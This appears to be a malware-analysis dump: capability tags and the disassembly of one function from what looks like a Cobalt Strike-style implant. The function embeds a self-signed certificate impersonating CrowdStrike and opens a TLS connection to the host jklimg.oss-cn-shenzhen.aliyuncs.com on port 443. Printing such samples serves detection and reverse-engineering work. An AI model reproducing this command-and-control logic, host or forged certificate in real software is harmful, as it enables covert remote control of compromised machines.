Function at 0x401330
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7cc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x181
lea edi, [ebp - 0x618]
mov esi, str._____BEGIN_CERTIFICATE______r_nMIIEMzCCAxugAwIBAgIUdE7q9qzxqR9p4UvzHRdlmeahyI4wDQYJKoZIhvcNAQEL_r_nBQAwgacxCzAJBgNVBAYTAjIxMREwDwYDVQQIDAhuZXcgeW9yazEPMA0GA1UEBwwG_r_ncGl0dGxlMSIwIAYDVQQKDBlJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQuMRAwDgYD_r_nVQQLDAdzZWN0aW9uMRgwFgYDVQQDDA9jcm93ZHN0cmlrZS5mY2MxJDAiBgkqhkiG_r_n9w0BCQEWFW9kZWRkQGNyb3dkc3RyaWtlLmNvbTAgFw0yMzAxMjkwNzE4MDZaGA8y_r_nMTIzMDEwNTA3MTgwNlowgacxCzAJBgNVBAYTAjIxMREwDwYDVQQIDAhuZXcgeW9y_r_nazEPMA0GA1UEBwwGcGl0dGxlMSIwIAYDVQQKDBlJbnRlcm5ldCBXaWRnaXRzIFB0_r_neSBMdGQuMRAwDgYDVQQLDAdzZWN0aW9uMRgwFgYDVQQDDA9jcm93ZHN0cmlrZS5m_r_nY2MxJDAiBgkqhkiG9w0BCQEWFW9kZWRkQGNyb3dkc3RyaWtlLmNvbTCCASIwDQYJ_r_nKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKCeIZtCHLv2Lpyr8dRChajNlcAu2F4M_r_n8QwxFcmc5VaPRYT5gCIXLdt6wHIuFugXc5iNz6GGy_lbSIOSNk3Okl1w1xNUPdqF_r_n3hQhl95bHW2VRFzV0UoolLvex9TF1u04wfgPr_qgJtjTf5rBfQkkfLfcs7ur_O0_r_nOgxtZtvLSrGNvxkLZ_wlsfHBbki3IxqfyB5P3hjBoX7yiuzxNyT8pgoPiLaPlab_r_nFmRiE92qw_cDt620q6VO3v5MGl8QhCJfPolHOYZ3J4lnT_nYIfNaDoobycxERX_r_nnE8zmlBskfe84NIcaOdZkb5H_ZPz30c1rQkdL2rmQhe16BdIZyfrqssCAwEAAaNT_r_nMFEwHQYDVR0OBBYEFHRyxMZpXWOGVs3xEU2paVzHn9EtMB8GA1UdIwQYMBaAFHRy_r_nxMZpXWOGVs3xEU2paVzHn9EtMA8GA1UdEwEB_wQFMAMBAf8wDQYJKoZIhvcNAQEL_r_nBQADggEBABrHxRCgMiI7vki_g_obcx1aj9IpjPY1AmAgTt3UvtZuTztzL8guaw3_r_ncZ0dVdUtADXoIPjdZNUBCi8zWLiH9uRe4RUlJBWJSzXxsZ6GpS2Rq6Ub6qG1Xec_r_n0L47KciXKX9mB8L98QMDraZuJbi_pyQ4rLehh_IPTIRjH6L4ulCngxKm9I9gaIl_r_nEaiuXCsMlpyBiAh2wo6vmzbLhUtPIoEPd4gRrWHQy4DYLbKIhzlynL7I_ujl5g7_r_nxAkH0s5Z0F95AqTPSw1ydV49e42bkbUvtrrjjkixJ5nvKst5XaL9894hcyQ7Y_r_nh3mOhyKAkrTLbaxyIUs7r5OieDYfEWs_r_n_____END_CERTIFICATE_____
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push 0x1bb
push 0x45e138
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
lea eax, [ebp - 0xc]
push 6
push eax
movsb byte es:[edi], byte [esi]
call fcn.004012f0
call fcn.0040df20
push 0x138
push 0
push 0x476ac0
call fcn.004459f0
add esp, 0x1c
push 0x140
push 0
push 0x476f80
call fcn.004459f0
add esp, 0xc
mov dword [0x476c18], 0xffffffff
push 0xd0
push 0
push 0x476ea0
call fcn.004459f0
add esp, 0xc
push 0x118
push 0
push 0x476980
call fcn.004459f0
add esp, 8
push 7
sub esp, 8
call fcn.00411150
add esp, 0x10
test eax, eax
jne 0x40189e
push ecx
lea edx, [ebp - 0x618]
call fcn.0040f630
add esp, 4
test eax, eax
js 0x40189e
cmp dword [0x474494], 0
jne 0x401440
lea eax, [ebp - 0x7a8]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401436
mov edi, 0xffffffbe
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00444a17
mov esp, ebp
pop ebp
ret
mov dword [0x474494], 1
lea eax, [ebp - 0x7ac]
mov dword [ebp - 0x7cc], 0
push eax
lea eax, [ebp - 0x7cc]
mov dword [ebp - 0x7c8], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x7c4], 1
xorps xmm0, xmm0
mov dword [ebp - 0x7c0], 6
push eax
push str.jklimg.oss_cn_shenzhen.aliyuncs.com
movlpd qword [ebp - 0x7bc], xmm0
movlpd qword [ebp - 0x7b4], xmm0
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov edi, 0xffffffae
test eax, eax
jne 0x401509
mov esi, dword [ebp - 0x7ac]
test esi, esi
je 0x4014f9
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x476c18], eax
test eax, eax
jns 0x4014d0
mov edi, 0xffffffbe
jmp 0x4014ee
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4014f7
push dword [0x476c18]
call ebx
mov edi, 0xffffffbc
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x4014b1
jmp 0x4014f9
xor edi, edi
push dword [ebp - 0x7ac]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x40151c
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00444a17
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x476f6c]
xor eax, eax
and ebx, 0xfffffff8
mov word [0x476f58], ax
or eax, 0xffffffff
mov dword [0x476ee4], 0x40bbc0
or ebx, 0x53c48
mov dword [0x476ee8], 0x40bbc0
cmp dword [0x4746e8], 0
mov dword [0x476f6c], ebx
mov dword [0x476f4c], 0x3e8
mov dword [0x476f50], 0xea60
mov dword [0x476f54], 0x10
mov dword [0x476f5a], eax
mov word [0x476f5e], ax
mov dword [0x476f68], 0x1030303
jne 0x4015e7
mov edi, 0x4616e0
mov esi, 0x474498
cmp esi, 0x4746e4
jae 0x4015d7
mov edx, dword [edi]
mov eax, 0x461a20
mov ecx, 0xcca8
nop word [eax + eax]
cmp ecx, edx
je 0x4015c0
mov ecx, dword [eax + 0x28]
add eax, 0x28
test ecx, ecx
jne 0x4015b0
jmp 0x4015cf
test eax, eax
je 0x4015cf
cmp dword [eax + 8], 0x2a
je 0x4015cf
mov dword [esi], edx
add esi, 4
add edi, 4
cmp dword [edi], 0
jne 0x401596
mov dword [esi], 0
mov dword [0x4746e8], 1
mov dword [0x476eac], 0x474498
mov dword [0x476ea8], 0x474498
mov dword [0x476ea4], 0x474498
mov dword [0x476ea0], 0x474498
mov dword [0x476f04], 0x460630
mov dword [0x476f14], 0x4738c0
call fcn.00422600
push 0x414d
and ebx, 0xfffffff3
mov dword [0x476f18], eax
push 1
mov dword [0x476f64], 0x400
mov dword [0x476f6c], ebx
mov dword [0x476f0c], 0x476ac0
mov dword [0x476f10], 0
mov dword [0x476eb8], 0x4117a0
mov dword [0x476ebc], 0x476f80
mov dword [0x476980], 0x476ea0
mov dword [0x476a30], 0
call fcn.0044a732
add esp, 8
mov dword [0x4769dc], eax
push 0x414d
test eax, eax
jne 0x4016be
push str.alloc__d_bytes__failed
push 0x1ae2
push str.C:UserspentesterDownloadsxxxxxxxcs4.5externalmbedtls_2.14.1library_ssl_tls.c
push 1
push 0x476980
call fcn.00411980
add esp, 0x18
mov esi, 0xffff8100
jmp 0x40170f
push 1
call fcn.0044a732
add esp, 8
mov dword [0x476a30], eax
test eax, eax
jne 0x4016fb
push 0x414d
push str.alloc__d_bytes__failed
push 0x1aea
push str.C:UserspentesterDownloadsxxxxxxxcs4.5externalmbedtls_2.14.1library_ssl_tls.c
push 1
push 0x476980
call fcn.00411980
add esp, 0x18
mov esi, 0xffff8100
jmp 0x40170f
call fcn.0040bbd0
call fcn.0040b7f0
mov esi, eax
test esi, esi
je 0x4017c4
push dword [0x4769dc]
call fcn.0044a73d
add esp, 4
push dword [0x476a30]
call fcn.0044a73d
add esp, 4
mov dword [0x476980], 0
mov dword [0x4769dc], 0
mov dword [0x476a30], 0
mov dword [0x4769e4], 0
mov dword [0x4769e0], 0
mov dword [0x4769e8], 0
mov dword [0x4769ec], 0
mov dword [0x4769f0], 0
mov dword [0x476a38], 0
mov dword [0x476a34], 0
mov dword [0x476a3c], 0
mov dword [0x476a40], 0
mov dword [0x476a44], 0
test esi, esi
je 0x4017c4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00444a17
mov esp, ebp
pop ebp
ret
mov edx, dword [0x476a64]
test edx, edx
je 0x4017f8
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4017d3
mov eax, dword [fcn.004459f0]
sub ecx, esi
push ecx
push 0
push edx
call eax
add esp, 0xc
push dword [0x476a64]
call fcn.0044a73d
add esp, 4
push 0x24
push 1
call fcn.0044a732
mov ecx, eax
add esp, 8
mov dword [0x476a64], ecx
test ecx, ecx
jne 0x401826
mov eax, 0xffff8100
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00444a17
mov esp, ebp
pop ebp
ret
movups xmm0, xmmword [str.jklimg.oss_cn_shenzhen.aliyuncs.com]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x45da3c]
movups xmmword [ecx + 0x10], xmm0
mov ax, word [0x45da4c]
mov word [ecx + 0x20], ax
mov al, byte [0x45da4e]
mov byte [ecx + 0x22], al
mov eax, dword [0x476a64]
mov byte [eax + 0x23], 0
mov dword [0x4769a8], 0x476c18
mov dword [0x47699c], 0x411920
mov dword [0x4769a0], 0x4118c0
mov dword [0x4769a4], 0
call fcn.0040c0d0
test eax, eax
je 0x40189e
cmp eax, 0xffff9700
je 0x401895
cmp eax, 0xffff9780
jne 0x40189e
call fcn.0040c0d0
test eax, eax
jne 0x401887
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00444a17
mov esp, ebp
pop ebp
ret